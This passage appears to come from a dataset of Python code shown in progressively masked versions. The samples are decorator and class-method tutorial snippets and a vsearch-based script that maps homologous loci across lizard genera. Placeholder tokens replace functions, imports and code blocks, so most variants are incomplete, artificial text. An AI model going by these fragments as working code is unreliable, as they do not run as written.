a + b + c\n\n\nprint(spam(1, 2, 3))\n<docstring token>\n\n\ndef plus_one(function):\n\n @functools.wraps(function)\n def _plus_one(self, n):\n return function(self, n + 1)\n return _plus_one\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n @plus_one\n def somefunc(self, n):\n print(n)\n\n\nSpam().somefunc(1)\n<docstring token>\nprint('$' * 10)\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\nspam.some_instance(1, 2, a=5, b=6)\nprint(spam.some_cls_method(1, 2, a=2, b=3))\nSpam.some_cls_method()\n<docstring token>\nprint('$' * 10)\n\n\ndef add(extra_n=5):\n\n def _add(function):\n\n @functools.wraps(function)\n def __add(n):\n print('hey ', extra_n, n)\n return function(n + extra_n)\n return __add\n return _add\n\n\n@add(7)\n@add(2)\ndef spam(n):\n return n\n\n\nprint(spam(5))\n", "<docstring token>\n<import token>\n\n\ndef print_all_input(function):\n\n @functools.wraps(function)\n def aeggs(*args, **kwargs):\n print('args are ', args)\n print('$' * 10)\n print('kwargs are ', kwargs)\n print('NAME OF Function is', function.__name__)\n return function(*args, **kwargs)\n return aeggs\n\n\n@print_all_input\ndef spam(a, b, c):\n return a + b + c\n\n\n<code token>\n<docstring token>\n\n\ndef plus_one(function):\n\n @functools.wraps(function)\n def _plus_one(self, n):\n return function(self, n + 1)\n return _plus_one\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n @plus_one\n def somefunc(self, n):\n print(n)\n\n\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n\n\ndef add(extra_n=5):\n\n def _add(function):\n\n @functools.wraps(function)\n def __add(n):\n print('hey ', extra_n, n)\n return function(n + extra_n)\n return __add\n return _add\n\n\n@add(7)\n@add(2)\ndef spam(n):\n return n\n\n\n<code token>\n", "<docstring token>\n<import token>\n\n\ndef print_all_input(function):\n\n @functools.wraps(function)\n def aeggs(*args, **kwargs):\n print('args are ', args)\n print('$' * 10)\n print('kwargs are ', kwargs)\n print('NAME OF Function is', function.__name__)\n return function(*args, **kwargs)\n return aeggs\n\n\n<function token>\n<code token>\n<docstring token>\n\n\ndef plus_one(function):\n\n @functools.wraps(function)\n def _plus_one(self, n):\n return function(self, n + 1)\n return _plus_one\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n @plus_one\n def somefunc(self, n):\n print(n)\n\n\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n\n\ndef add(extra_n=5):\n\n def _add(function):\n\n @functools.wraps(function)\n def __add(n):\n print('hey ', extra_n, n)\n return function(n + extra_n)\n return __add\n return _add\n\n\n@add(7)\n@add(2)\ndef spam(n):\n return n\n\n\n<code token>\n", "<docstring token>\n<import token>\n\n\ndef print_all_input(function):\n\n @functools.wraps(function)\n def aeggs(*args, **kwargs):\n print('args are ', args)\n print('$' * 10)\n print('kwargs are ', kwargs)\n print('NAME OF Function is', function.__name__)\n return function(*args, **kwargs)\n return aeggs\n\n\n<function token>\n<code token>\n<docstring token>\n<function token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n @plus_one\n def somefunc(self, n):\n print(n)\n\n\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n\n\ndef add(extra_n=5):\n\n def _add(function):\n\n @functools.wraps(function)\n def __add(n):\n print('hey ', extra_n, n)\n return function(n + extra_n)\n return __add\n return _add\n\n\n@add(7)\n@add(2)\ndef spam(n):\n return n\n\n\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<code token>\n<docstring token>\n<function token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n @plus_one\n def somefunc(self, n):\n print(n)\n\n\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n\n\ndef add(extra_n=5):\n\n def _add(function):\n\n @functools.wraps(function)\n def __add(n):\n print('hey ', extra_n, n)\n return function(n + extra_n)\n return __add\n return _add\n\n\n@add(7)\n@add(2)\ndef spam(n):\n return n\n\n\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<code token>\n<docstring token>\n<function token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n @plus_one\n def somefunc(self, n):\n print(n)\n\n\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n<function token>\n\n\n@add(7)\n@add(2)\ndef spam(n):\n return n\n\n\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<code token>\n<docstring token>\n<function token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n @plus_one\n def somefunc(self, n):\n print(n)\n\n\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<code token>\n<docstring token>\n<function token>\n\n\nclass Spam(object):\n <function token>\n\n @plus_one\n def somefunc(self, n):\n print(n)\n\n\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<code token>\n<docstring token>\n<function token>\n\n\nclass Spam(object):\n <function token>\n <function token>\n\n\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<code token>\n<docstring token>\n<function token>\n<class token>\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<code token>\n<docstring token>\n<function token>\n<class token>\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n <function token>\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<code token>\n<docstring token>\n<function token>\n<class token>\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n <function token>\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n <function token>\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<code token>\n<docstring token>\n<function token>\n<class token>\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n <function token>\n <function token>\n <function token>\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<code token>\n<docstring token>\n<function token>\n<class token>\n<code token>\n<docstring token>\n<code token>\n\n\nclass Spam(object):\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<code token>\n<docstring token>\n<function token>\n<class token>\n<code token>\n<docstring token>\n<code token>\n<class token>\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n<function token>\n<function token>\n<code token>\n" ]

[ "import re\nimport subprocess\nimport os\nimport argparse\nimport random\nimport string\nimport sys\nimport pandas as pd\n\nparser = argparse.ArgumentParser(description=\"Define homologous loci across species.\")\nparser.add_argument('--dir', help=\"Directory for which to run.\")\nparser.add_argument('--genus', help=\"Genus for which to run.\")\n\nargs = parser.parse_args()\ndir = args.dir\ngenus = args.genus\n\nc_file = '/Volumes/heloderma4/sonal/eco_IBD_oz/data/clustering/Ctenotus_Lerista.clustering.revised.csv'\nd = pd.read_csv(c_file)\nd = d[d.GMYC_RAxML2.notnull()]\nclusters = d[d.GMYC_RAxML2.str.contains(genus)].GMYC_RAxML2.unique()\n\nfiles = ['%s%s.fa' % (dir, cl) for cl in clusters]\nWCLUST = 0.8\n\ndef create_starter(dir, file, genus, ix):\n\thomhash = {}\n\n\tstarting = '%s%s.tmp.fa' % (dir, genus)\n\tf = open(file, 'r')\n\to = open(starting, 'w')\n\tfor l in f:\n\t\tif re.search('>', l):\n\t\t\tid = re.search('>(\\S+)', l).group(1)\n\t\t\tnewid = '%s_%s' % (genus, ix)\n\n\t\t\thomhash[newid] = {}\n\t\t\thomhash[newid][id] = '+'\n\t\t\t\n\t\t\tseq = f.next().rstrip()\n\t\t\to.write('>%s\\n%s\\n' % (newid, seq))\n\t\t\tix += 1\n\tf.close()\n\to.close()\n\n\treturn starting, homhash, ix\n\n\ndef vsearch(dir, tmpfile, file, genus, num):\n\tout = '%s%s_%s_search' % (dir, genus, num)\n\tsubprocess.call(\"vsearch --usearch_global %s --db %s --userout %s --id %s --userfields query+target+evalue+id+qstrand --strand both --threads 4\" % (file, tmpfile, out, WCLUST), shell=True)\n\n\treturn out\n\n\ndef create_new_tmp(dir, tmpfile, file, results, homhash, genus, ix):\n\tmatches1 = {}\n\tmatches2 = {}\n\n\tf = open(results, 'r')\n\tfor l in f:\n\t\td = re.split('\\s+', l.rstrip())\n\t\t# is this step necessary?\n\t\t# makes sure it is 1 to 1\n\t\tif d[1] not in matches1 and d[0] not in matches2:\n\t\t\tmatches1[d[1]] = {'match': d[0], 'perc': float(d[3]), 'strand': d[4]}\n\t\t\tmatches2[d[0]] = {'match': d[1], 'perc': float(d[3]), 'strand': d[4]}\n\t\telif d[0] in matches2 and d[1] not in matches1:\n\t\t\tif float(d[3]) > matches2[d[0]]['perc']:\n \tmatches1[d[1]] = {'match': d[0], 'perc': float(d[3]), 'strand': d[4]}\n \tmatches2[d[0]] = {'match': d[1], 'perc': float(d[3]), 'strand': d[4]}\n\tf.close()\n\tos.remove(results)\n\n\tfor c in matches2:\n\t\thomhash[matches2[c]['match']][c] = matches2[c]['strand']\n\n\tf = open(file, 'r')\n\to = open(tmpfile, 'a')\n\tfor l in f:\n\t\tif re.search('>', l):\n\t\t\tid = re.search('>(\\S+)', l.rstrip()).group(1)\n\t\t\tseq = f.next().rstrip()\n\t\t\tif id not in matches2:\n\t\t\t\tnew_id = '%s_%s' % (genus, ix)\n\t\t\t\tix += 1\n\n\t\t\t\thomhash[new_id] = {}\t\n\t\t\t\thomhash[new_id][id] = '+'\n\t\t\n\t\t\t\to.write('>%s\\n%s\\n' % (new_id, seq))\n\tf.close()\n\to.close()\n\n\treturn (tmpfile, homhash, ix)\n\nix = 0\ntmpfile, homhash, ix = create_starter(dir, files[0], genus, ix)\nfor num, file in enumerate(files[1:]):\n\tresults = vsearch(dir, tmpfile, file, genus, num)\n\t(tmpfile, homhash, ix) = create_new_tmp(dir, tmpfile, file, results, homhash, genus, ix)\nos.remove(tmpfile)\n\no = open('%s%s_homology_across_species.txt' % (dir, genus), 'w')\no.write('contig\\tmatches\\tnumMatches\\n')\nfor c, matches in homhash.items():\n\tmatches = ['%s:%s' % (match, homhash[c][match]) for match in matches]\n\to.write('%s\\t%s\\t%s\\n' % (c, ','.join(matches), len(matches)))\no.close()\n\n\n", "import re\nimport subprocess\nimport os\nimport argparse\nimport random\nimport string\nimport sys\nimport pandas as pd\nparser = argparse.ArgumentParser(description=\n 'Define homologous loci across species.')\nparser.add_argument('--dir', help='Directory for which to run.')\nparser.add_argument('--genus', help='Genus for which to run.')\nargs = parser.parse_args()\ndir = args.dir\ngenus = args.genus\nc_file = (\n '/Volumes/heloderma4/sonal/eco_IBD_oz/data/clustering/Ctenotus_Lerista.clustering.revised.csv'\n )\nd = pd.read_csv(c_file)\nd = d[d.GMYC_RAxML2.notnull()]\nclusters = d[d.GMYC_RAxML2.str.contains(genus)].GMYC_RAxML2.unique()\nfiles = [('%s%s.fa' % (dir, cl)) for cl in clusters]\nWCLUST = 0.8\n\n\ndef create_starter(dir, file, genus, ix):\n homhash = {}\n starting = '%s%s.tmp.fa' % (dir, genus)\n f = open(file, 'r')\n o = open(starting, 'w')\n for l in f:\n if re.search('>', l):\n id = re.search('>(\\\\S+)', l).group(1)\n newid = '%s_%s' % (genus, ix)\n homhash[newid] = {}\n homhash[newid][id] = '+'\n seq = f.next().rstrip()\n o.write('>%s\\n%s\\n' % (newid, seq))\n ix += 1\n f.close()\n o.close()\n return starting, homhash, ix\n\n\ndef vsearch(dir, tmpfile, file, genus, num):\n out = '%s%s_%s_search' % (dir, genus, num)\n subprocess.call(\n 'vsearch --usearch_global %s --db %s --userout %s --id %s --userfields query+target+evalue+id+qstrand --strand both --threads 4'\n % (file, tmpfile, out, WCLUST), shell=True)\n return out\n\n\ndef create_new_tmp(dir, tmpfile, file, results, homhash, genus, ix):\n matches1 = {}\n matches2 = {}\n f = open(results, 'r')\n for l in f:\n d = re.split('\\\\s+', l.rstrip())\n if d[1] not in matches1 and d[0] not in matches2:\n matches1[d[1]] = {'match': d[0], 'perc': float(d[3]), 'strand':\n d[4]}\n matches2[d[0]] = {'match': d[1], 'perc': float(d[3]), 'strand':\n d[4]}\n elif d[0] in matches2 and d[1] not in matches1:\n if float(d[3]) > matches2[d[0]]['perc']:\n matches1[d[1]] = {'match': d[0], 'perc': float(d[3]),\n 'strand': d[4]}\n matches2[d[0]] = {'match': d[1], 'perc': float(d[3]),\n 'strand': d[4]}\n f.close()\n os.remove(results)\n for c in matches2:\n homhash[matches2[c]['match']][c] = matches2[c]['strand']\n f = open(file, 'r')\n o = open(tmpfile, 'a')\n for l in f:\n if re.search('>', l):\n id = re.search('>(\\\\S+)', l.rstrip()).group(1)\n seq = f.next().rstrip()\n if id not in matches2:\n new_id = '%s_%s' % (genus, ix)\n ix += 1\n homhash[new_id] = {}\n homhash[new_id][id] = '+'\n o.write('>%s\\n%s\\n' % (new_id, seq))\n f.close()\n o.close()\n return tmpfile, homhash, ix\n\n\nix = 0\ntmpfile, homhash, ix = create_starter(dir, files[0], genus, ix)\nfor num, file in enumerate(files[1:]):\n results = vsearch(dir, tmpfile, file, genus, num)\n tmpfile, homhash, ix = create_new_tmp(dir, tmpfile, file, results,\n homhash, genus, ix)\nos.remove(tmpfile)\no = open('%s%s_homology_across_species.txt' % (dir, genus), 'w')\no.write('contig\\tmatches\\tnumMatches\\n')\nfor c, matches in homhash.items():\n matches = [('%s:%s' % (match, homhash[c][match])) for match in matches]\n o.write('%s\\t%s\\t%s\\n' % (c, ','.join(matches), len(matches)))\no.close()\n", "<import token>\nparser = argparse.ArgumentParser(description=\n 'Define homologous loci across species.')\nparser.add_argument('--dir', help='Directory for which to run.')\nparser.add_argument('--genus', help='Genus for which to run.')\nargs = parser.parse_args()\ndir = args.dir\ngenus = args.genus\nc_file = (\n '/Volumes/heloderma4/sonal/eco_IBD_oz/data/clustering/Ctenotus_Lerista.clustering.revised.csv'\n )\nd = pd.read_csv(c_file)\nd = d[d.GMYC_RAxML2.notnull()]\nclusters = d[d.GMYC_RAxML2.str.contains(genus)].GMYC_RAxML2.unique()\nfiles = [('%s%s.fa' % (dir, cl)) for cl in clusters]\nWCLUST = 0.8\n\n\ndef create_starter(dir, file, genus, ix):\n homhash = {}\n starting = '%s%s.tmp.fa' % (dir, genus)\n f = open(file, 'r')\n o = open(starting, 'w')\n for l in f:\n if re.search('>', l):\n id = re.search('>(\\\\S+)', l).group(1)\n newid = '%s_%s' % (genus, ix)\n homhash[newid] = {}\n homhash[newid][id] = '+'\n seq = f.next().rstrip()\n o.write('>%s\\n%s\\n' % (newid, seq))\n ix += 1\n f.close()\n o.close()\n return starting, homhash, ix\n\n\ndef vsearch(dir, tmpfile, file, genus, num):\n out = '%s%s_%s_search' % (dir, genus, num)\n subprocess.call(\n 'vsearch --usearch_global %s --db %s --userout %s --id %s --userfields query+target+evalue+id+qstrand --strand both --threads 4'\n % (file, tmpfile, out, WCLUST), shell=True)\n return out\n\n\ndef create_new_tmp(dir, tmpfile, file, results, homhash, genus, ix):\n matches1 = {}\n matches2 = {}\n f = open(results, 'r')\n for l in f:\n d = re.split('\\\\s+', l.rstrip())\n if d[1] not in matches1 and d[0] not in matches2:\n matches1[d[1]] = {'match': d[0], 'perc': float(d[3]), 'strand':\n d[4]}\n matches2[d[0]] = {'match': d[1], 'perc': float(d[3]), 'strand':\n d[4]}\n elif d[0] in matches2 and d[1] not in matches1:\n if float(d[3]) > matches2[d[0]]['perc']:\n matches1[d[1]] = {'match': d[0], 'perc': float(d[3]),\n 'strand': d[4]}\n matches2[d[0]] = {'match': d[1], 'perc': float(d[3]),\n 'strand': d[4]}\n f.close()\n os.remove(results)\n for c in matches2:\n homhash[matches2[c]['match']][c] = matches2[c]['strand']\n f = open(file, 'r')\n o = open(tmpfile, 'a')\n for l in f:\n if re.search('>', l):\n id = re.search('>(\\\\S+)', l.rstrip()).group(1)\n seq = f.next().rstrip()\n if id not in matches2:\n new_id = '%s_%s' % (genus, ix)\n ix += 1\n homhash[new_id] = {}\n homhash[new_id][id] = '+'\n o.write('>%s\\n%s\\n' % (new_id, seq))\n f.close()\n o.close()\n return tmpfile, homhash, ix\n\n\nix = 0\ntmpfile, homhash, ix = create_starter(dir, files[0], genus, ix)\nfor num, file in enumerate(files[1:]):\n results = vsearch(dir, tmpfile, file, genus, num)\n tmpfile, homhash, ix = create_new_tmp(dir, tmpfile, file, results,\n homhash, genus, ix)\nos.remove(tmpfile)\no = open('%s%s_homology_across_species.txt' % (dir, genus), 'w')\no.write('contig\\tmatches\\tnumMatches\\n')\nfor c, matches in homhash.items():\n matches = [('%s:%s' % (match, homhash[c][match])) for match in matches]\n o.write('%s\\t%s\\t%s\\n' % (c, ','.join(matches), len(matches)))\no.close()\n", "<import token>\n<assignment token>\nparser.add_argument('--dir', help='Directory for which to run.')\nparser.add_argument('--genus', help='Genus for which to run.')\n<assignment token>\n\n\ndef create_starter(dir, file, genus, ix):\n homhash = {}\n starting = '%s%s.tmp.fa' % (dir, genus)\n f = open(file, 'r')\n o = open(starting, 'w')\n for l in f:\n if re.search('>', l):\n id = re.search('>(\\\\S+)', l).group(1)\n newid = '%s_%s' % (genus, ix)\n homhash[newid] = {}\n homhash[newid][id] = '+'\n seq = f.next().rstrip()\n o.write('>%s\\n%s\\n' % (newid, seq))\n ix += 1\n f.close()\n o.close()\n return starting, homhash, ix\n\n\ndef vsearch(dir, tmpfile, file, genus, num):\n out = '%s%s_%s_search' % (dir, genus, num)\n subprocess.call(\n 'vsearch --usearch_global %s --db %s --userout %s --id %s --userfields query+target+evalue+id+qstrand --strand both --threads 4'\n % (file, tmpfile, out, WCLUST), shell=True)\n return out\n\n\ndef create_new_tmp(dir, tmpfile, file, results, homhash, genus, ix):\n matches1 = {}\n matches2 = {}\n f = open(results, 'r')\n for l in f:\n d = re.split('\\\\s+', l.rstrip())\n if d[1] not in matches1 and d[0] not in matches2:\n matches1[d[1]] = {'match': d[0], 'perc': float(d[3]), 'strand':\n d[4]}\n matches2[d[0]] = {'match': d[1], 'perc': float(d[3]), 'strand':\n d[4]}\n elif d[0] in matches2 and d[1] not in matches1:\n if float(d[3]) > matches2[d[0]]['perc']:\n matches1[d[1]] = {'match': d[0], 'perc': float(d[3]),\n 'strand': d[4]}\n matches2[d[0]] = {'match': d[1], 'perc': float(d[3]),\n 'strand': d[4]}\n f.close()\n os.remove(results)\n for c in matches2:\n homhash[matches2[c]['match']][c] = matches2[c]['strand']\n f = open(file, 'r')\n o = open(tmpfile, 'a')\n for l in f:\n if re.search('>', l):\n id = re.search('>(\\\\S+)', l.rstrip()).group(1)\n seq = f.next().rstrip()\n if id not in matches2:\n new_id = '%s_%s' % (genus, ix)\n ix += 1\n homhash[new_id] = {}\n homhash[new_id][id] = '+'\n o.write('>%s\\n%s\\n' % (new_id, seq))\n f.close()\n o.close()\n return tmpfile, homhash, ix\n\n\n<assignment token>\nfor num, file in enumerate(files[1:]):\n results = vsearch(dir, tmpfile, file, genus, num)\n tmpfile, homhash, ix = create_new_tmp(dir, tmpfile, file, results,\n homhash, genus, ix)\nos.remove(tmpfile)\n<assignment token>\no.write('contig\\tmatches\\tnumMatches\\n')\nfor c, matches in homhash.items():\n matches = [('%s:%s' % (match, homhash[c][match])) for match in matches]\n o.write('%s\\t%s\\t%s\\n' % (c, ','.join(matches), len(matches)))\no.close()\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef create_starter(dir, file, genus, ix):\n homhash = {}\n starting = '%s%s.tmp.fa' % (dir, genus)\n f = open(file, 'r')\n o = open(starting, 'w')\n for l in f:\n if re.search('>', l):\n id = re.search('>(\\\\S+)', l).group(1)\n newid = '%s_%s' % (genus, ix)\n homhash[newid] = {}\n homhash[newid][id] = '+'\n seq = f.next().rstrip()\n o.write('>%s\\n%s\\n' % (newid, seq))\n ix += 1\n f.close()\n o.close()\n return starting, homhash, ix\n\n\ndef vsearch(dir, tmpfile, file, genus, num):\n out = '%s%s_%s_search' % (dir, genus, num)\n subprocess.call(\n 'vsearch --usearch_global %s --db %s --userout %s --id %s --userfields query+target+evalue+id+qstrand --strand both --threads 4'\n % (file, tmpfile, out, WCLUST), shell=True)\n return out\n\n\ndef create_new_tmp(dir, tmpfile, file, results, homhash, genus, ix):\n matches1 = {}\n matches2 = {}\n f = open(results, 'r')\n for l in f:\n d = re.split('\\\\s+', l.rstrip())\n if d[1] not in matches1 and d[0] not in matches2:\n matches1[d[1]] = {'match': d[0], 'perc': float(d[3]), 'strand':\n d[4]}\n matches2[d[0]] = {'match': d[1], 'perc': float(d[3]), 'strand':\n d[4]}\n elif d[0] in matches2 and d[1] not in matches1:\n if float(d[3]) > matches2[d[0]]['perc']:\n matches1[d[1]] = {'match': d[0], 'perc': float(d[3]),\n 'strand': d[4]}\n matches2[d[0]] = {'match': d[1], 'perc': float(d[3]),\n 'strand': d[4]}\n f.close()\n os.remove(results)\n for c in matches2:\n homhash[matches2[c]['match']][c] = matches2[c]['strand']\n f = open(file, 'r')\n o = open(tmpfile, 'a')\n for l in f:\n if re.search('>', l):\n id = re.search('>(\\\\S+)', l.rstrip()).group(1)\n seq = f.next().rstrip()\n if id not in matches2:\n new_id = '%s_%s' % (genus, ix)\n ix += 1\n homhash[new_id] = {}\n homhash[new_id][id] = '+'\n o.write('>%s\\n%s\\n' % (new_id, seq))\n f.close()\n o.close()\n return tmpfile, homhash, ix\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef vsearch(dir, tmpfile, file, genus, num):\n out = '%s%s_%s_search' % (dir, genus, num)\n subprocess.call(\n 'vsearch --usearch_global %s --db %s --userout %s --id %s --userfields query+target+evalue+id+qstrand --strand both --threads 4'\n % (file, tmpfile, out, WCLUST), shell=True)\n return out\n\n\ndef create_new_tmp(dir, tmpfile, file, results, homhash, genus, ix):\n matches1 = {}\n matches2 = {}\n f = open(results, 'r')\n for l in f:\n d = re.split('\\\\s+', l.rstrip())\n if d[1] not in matches1 and d[0] not in matches2:\n matches1[d[1]] = {'match': d[0], 'perc': float(d[3]), 'strand':\n d[4]}\n matches2[d[0]] = {'match': d[1], 'perc': float(d[3]), 'strand':\n d[4]}\n elif d[0] in matches2 and d[1] not in matches1:\n if float(d[3]) > matches2[d[0]]['perc']:\n matches1[d[1]] = {'match': d[0], 'perc': float(d[3]),\n 'strand': d[4]}\n matches2[d[0]] = {'match': d[1], 'perc': float(d[3]),\n 'strand': d[4]}\n f.close()\n os.remove(results)\n for c in matches2:\n homhash[matches2[c]['match']][c] = matches2[c]['strand']\n f = open(file, 'r')\n o = open(tmpfile, 'a')\n for l in f:\n if re.search('>', l):\n id = re.search('>(\\\\S+)', l.rstrip()).group(1)\n seq = f.next().rstrip()\n if id not in matches2:\n new_id = '%s_%s' % (genus, ix)\n ix += 1\n homhash[new_id] = {}\n homhash[new_id][id] = '+'\n o.write('>%s\\n%s\\n' % (new_id, seq))\n f.close()\n o.close()\n return tmpfile, homhash, ix\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef create_new_tmp(dir, tmpfile, file, results, homhash, genus, ix):\n matches1 = {}\n matches2 = {}\n f = open(results, 'r')\n for l in f:\n d = re.split('\\\\s+', l.rstrip())\n if d[1] not in matches1 and d[0] not in matches2:\n matches1[d[1]] = {'match': d[0], 'perc': float(d[3]), 'strand':\n d[4]}\n matches2[d[0]] = {'match': d[1], 'perc': float(d[3]), 'strand':\n d[4]}\n elif d[0] in matches2 and d[1] not in matches1:\n if float(d[3]) > matches2[d[0]]['perc']:\n matches1[d[1]] = {'match': d[0], 'perc': float(d[3]),\n 'strand': d[4]}\n matches2[d[0]] = {'match': d[1], 'perc': float(d[3]),\n 'strand': d[4]}\n f.close()\n os.remove(results)\n for c in matches2:\n homhash[matches2[c]['match']][c] = matches2[c]['strand']\n f = open(file, 'r')\n o = open(tmpfile, 'a')\n for l in f:\n if re.search('>', l):\n id = re.search('>(\\\\S+)', l.rstrip()).group(1)\n seq = f.next().rstrip()\n if id not in matches2:\n new_id = '%s_%s' % (genus, ix)\n ix += 1\n homhash[new_id] = {}\n homhash[new_id][id] = '+'\n o.write('>%s\\n%s\\n' % (new_id, seq))\n f.close()\n 